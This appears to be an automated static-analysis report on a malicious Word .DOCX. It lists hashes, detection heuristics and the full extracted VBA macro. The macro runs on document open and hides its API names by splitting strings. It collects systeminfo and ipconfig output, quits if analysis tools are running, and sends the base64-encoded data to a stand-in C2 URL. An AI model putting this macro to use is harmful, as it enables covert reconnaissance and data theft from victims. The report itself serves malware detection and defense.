Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 eacb531f1d1ca40c…

MALICIOUS

Office (OOXML) / .DOCX

19.1 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-17
MD5: 444a55d9c42dd57fbff137d56c7b4e56 SHA-1: fa9cdc9c392b110afcb2d6b3afa1fe84068d5532 SHA-256: eacb531f1d1ca40ce86c83a3d4299806faa02ce405e51ddbc6815b869d02184d
330 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set wmi = GetObject("win" & "mgmts:\\.\r" & "oot\c" & "imv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2863 bytes
SHA-256: 9253f64e00125a6b13ae72811be667d40c0c906dfd140f8a3f1937658101ee31
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    On Error Resume Next
    Dim shell As Object
    Dim wmi As Object
    Dim processes As Object
    Dim process As Object
    Dim cmdOutput As String
    Dim c2Server As String
    Dim encodedData As String
    Dim http As Object
    Dim dataToSend As String
    
    ' Initialize WScript.Shell
    Set shell = CreateObject("WSc" & "ript" & ".Sh" & "ell")
    
    ' Execute systeminfo and ipconfig commands
    cmdOutput = shell.Exec("c" & "md /c s" & "ystemi" & "nfo & i" & "pconf" & "ig").StdOut.ReadAll
    
    ' Initialize WMI to query running processes
    Set wmi = GetObject("win" & "mgmts:\\.\r" & "oot\c" & "imv2")
    Set processes = wmi.ExecQuery("SEL" & "ECT * FR" & "OM Win32_P" & "rocess")
    
    ' Check for analysis tools
    For Each process In processes
        If InStr(1, process.Name, "p" & "rocmon.e" & "xe", vbTextCompare) > 0 Or _
           InStr(1, process.Name, "Wi" & "reshark.e" & "xe", vbTextCompare) > 0 Or _
           InStr(1, process.Name, "IDA6" & "4.e" & "xe", vbTextCompare) > 0 Then
            ' Analysis tool detected, halt execution
            Exit Sub
        End If
    Next process
    
    ' Base64 encode the collected data
    encodedData = EncodeBase64(cmdOutput)
    
    ' C2 server URL
    c2Server = "h" & "ttp://" & "exa" & "mple.c" & "om/c2"
    
    ' Construct the URL with encoded data
    dataToSend = c2Server & "?d" & "ata=" & encodedData
    
    ' Send the data to the C2 server
    Set http = CreateObject("MSX" & "ML2.XM" & "LHTTP")
    http.Open "G" & "ET", dataToSend, False
    http.Send
    
    ' Clean up
    Set shell = Nothing
    Set wmi = Nothing
    Set processes = Nothing
    Set process = Nothing
    Set http = Nothing
End Sub

Function EncodeBase64(ByVal str As String) As String
    Dim xml As Object
    Dim node As Object
    Set xml = CreateObject("MSX" & "ML2.D" & "OMDocument")
    Set node = xml.createElement("b" & "64")
    node.DataType = "bi" & "n.base64"
    node.NodeTypedValue = Stream_StringToBinary(str)
    EncodeBase64 = node.Text
    Set xml = Nothing
    Set node = Nothing
End Function

Function Stream_StringToBinary(ByVal str As String) As Object
    Dim stream As Object
    Set stream = CreateObject("AD" & "ODB.S" & "tream")
    stream.Type = 1 ' adTypeBinary
    stream.Open
    stream.WriteText str
    stream.Position = 0
    stream.Type = 1 ' adTypeBinary
    Stream_StringToBinary = stream.Read
    stream.Close
    Set stream = Nothing
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 2263aca37fbfc15709b11c9f4aadc0c64516f2056654097e239fdaba9f24c777